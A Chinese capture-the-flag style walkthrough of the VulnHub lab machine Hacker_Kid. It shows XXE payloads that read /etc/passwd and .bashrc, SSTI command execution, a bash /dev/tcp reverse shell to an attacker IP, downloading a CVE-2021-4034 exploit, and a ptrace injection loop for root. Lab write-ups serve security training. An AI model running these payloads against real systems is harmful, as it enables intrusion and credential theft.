vulnhub靶场——Hacker_Kid-v1.0.1
准备
攻击机: kali/win11
靶机: Hacker_Kid-v1.0.1 192.168.91.0 网段 NAT
下载链接:
https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
主机发现
https://github.com/czheisenberg/MyCode/blob/master/Scan/scapy/ping.py
python3 ping.py -H 192.168.91.0/24
如图所示得到了目标IP地址: 192.168.91.192
端口扫描
nmap -sV -A -p- -T4 192.168.91.192 –oN Hacker_kid_nmap.txt
如图所示开放了 53(DNS服务),80(HTTP apache服务) , 9999(HTTP tornado服务)tornado为python的web框架。
HTTP
同时进行目录扫描
http://192.168.91.192:9999/login?next=/
python3 dirsearch.py -u http://192.168.91.192/
python3 dirsearch.py -u http://192.168.91.192:9999/
从扫描两个web端口的目录来看没有什么有用的。
发现80端口网页的源代码中有一行注释:
如图所示告诉我们提交一个 GET 参数 page_no 来浏览页面。
按照这个方法试试看。猜测sql注入?测试过后似乎行不通
http://192.168.91.192/?page_no=1
如图所示当提交了 page_no=1 时返回了一句嘲讽的话:
Oh Man !! Isn’t is right to go a little deep inside?
多提交几个数字看结果有什么不一样的。
如图所示爆破处理结果,当 page_no=21时,有不一样的结果:Okay so you want me to speak something ?<br>I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!<br data-tomark-pass>Out of my many homes...one such home..one such home for me : hackers.blackhat.local
翻译一下: 大致意思在说他不是一个傻逼的黑客,创建了一个 域名,那么我们把 hackers.blackhat.local 添加到 /etc/hosts 中。
然后刷新 DNS
然后打开这个域名
http://hackers.blackhat.local/
可见还是和原来一样的。
dig
dig(域信息搜索器)命令是一个用于查询DNS域名服务器的工具。执行DNS搜索。
dig hackers.blackhat.local @192.168.91.192
如图所示得到了域名,把它们加入 /etc/hosts 中 然后刷新DNS缓存
http://hackerkid.blackhat.local/
打开来到一个注册页面。
查看源代码发现了 XML 语句
看到这个不禁联想到 XXE外部实体注入漏洞,正好最近几天在学习XXE漏洞。
先随便填写一些数据到表单中。抓包构造语句。
1 | <?xml version="1.0" encoding="UTF-8"?> |
如图所示成功读取到了 /etc/passwd 的内容。
筛选了以下只有两个用户 具有 /bin/bash
1 | root:x:0:0:root:/root:/bin/bash |
一般可以搭配 伪协议读取文件。
问题来了不知道读取哪些文件有用,参考了一下网上的wp,读取 saket home目录下的 .bashrc 文件。
1 | <?xml version="1.0" encoding="UTF-8"?> |
得到了 .bashrc 问价的内容,base64解码:
1 | # enable programmable completion features (you don't need to enable |
在文件的最后拿到了用户名和密码:
admin:Saket!#$%@!!
现在就可以尝试在 9999 端口登陆了。
测试发现,直接使用 这个账号密码登陆失败。
因为这个文件是在 /home/saket 目录下面的。所以得到账号密码: saket:Saket!#$%@!!
经测试登陆成功。
好,现在登陆成功,页面告诉我们: Tell me your name.
我们在信息收集的时候已经知道了9999端口是 tornado python的框架,那么一般容易考 SSTI ,先来测试一下能否显示name
如图所示可以显示内容
尝试SSTI 注入,详细步骤省略。
查看目录下的文件
1 | [http://192.168.91.192:9999/?name={{''.**class**.**mro**\[1\].**subclasses**()\[132\].**init**.**globals**\['popen'\]('ls').read()}}/](http://192.168.91.192:9999/?name=%7B%7B''.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B132%5D.__init__.__globals__%5B'popen'%5D%28'ls'%29.read%28%29%7D%7D/) |
想直接找 flag 发现这不光是ctf web题,这个是靶机,我们得反弹shell.
getshell
先开启 监听
nc -lvnp 4444
1 | http://192.168.91.192:9999/?name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/172.30.6.172/4444 0>&1"')}}/ |
将 URL 编码
1 | [http://192.168.91.192:9999/?name={%%20import%20os%20%}{{os.system('bash%20-c%20"bash%20-i%20>&%20/dev/tcp/172.30.6.172/4444%200>&1"')} }/](http://192.168.91.192:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28'bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.30.6.172%2F4444%200%3E%261%22'%29%7D%7D/) |
如图所示成功getshell。
提权
方法一:
查找 SUID
find / -perm -u=s -type f 2>/dev/null
如图所示查找到了一个十分眼熟得文件。如果看过我之前得文章,你就会知知 CVE-2021-4034 这个漏洞的强大,正常情况下只要是2021年及其以前的linux 系统都含有这个漏洞,所以该漏洞使用方法我不详细介绍,可以翻看我以前的文章。
首先将 exp 下载下来。在本地开启一个http服务用于下载到靶机当中。
python3 -m http.server
然后在靶机上切换到 /tmp 目录下。执行 wget 下载
wget http://172.30.6.172:8000/CVE-2021-4034.zip
如图所示下载成功
现在将其解压
unzip CVE-2021-4034.zip
然后进入解压目录执行 ./cve-2021-4034
如图所示成功拿到了 root 权限。
现在可以为所欲为了。
方法二
由于方法一的漏洞利用方式是 非预期的方法(万金油)。
查看 .bash_history 发现了一些有趣的东西。
cat .bash_history
如图所示:从这些字样可以得出结论:靶机本地 5600端口开放这一个服务。我们来验证一下:
ss -antp or netstat -tunlp 这两个命令类似,都可以查看本地端口占用信息。
如图所示:都没有看到有 5600 端口。
使用 enumeration 工具
./lse.sh -l 1 -i | more
如图所示:使用 enumeration List files with capabilties 中列除了一个文件:
**/usr/bin/python2.7 = cap_sys_ptrace+ep **
当python 具有 cap_sys_ptrace+ep 时,可以提权,参考链接:
https://www.cnblogs.com/zlgxzswjy/p/15185591.html
提权脚本:
1 | # inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script. |
将脚本保存到靶机中
1 | `for i in`ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 injection.py $i; done` |
执行效果如图所示
查看 本地是否开启了 5600 端口
ss -antp | grep “5600”
然后 nc 链接即可
nc 192.168.91.192 5600
如图所示拿到了 root权限
参考链接:
https://www.youtube.com/watch?v=p1y8Zf8YdiA
https://blog.csdn.net/qwweggfe/article/details/119861584
https://www.cnblogs.com/zlgxzswjy/p/15185591.html
总结:
- 新学到了 dig(域信息搜索器) 工具。这是参考了大佬的wp才知道的。
- 靶机涉及到了 XXE漏洞 SSTI 注入,对于这两个漏洞,我有一定的了解。
- import os;os.system(‘bash -c “bash -i >& /dev/tcp/172.30.6.172/4444 0>&1 python getshell 的方式。
- 使用非预期的方式提权:CVE-2021-4034 ,这个漏洞是个万金油,基本上能通杀2021年及其以前的机器。十分方便。
- Python 具有 cap_sys_ptrace+ep 时可以提权,这个东西头一次见到。不看wp始终差点儿力量。
- 总得来说这个靶机有点儿难度,通过这次练习,学到了一些新的知识。再接再厉。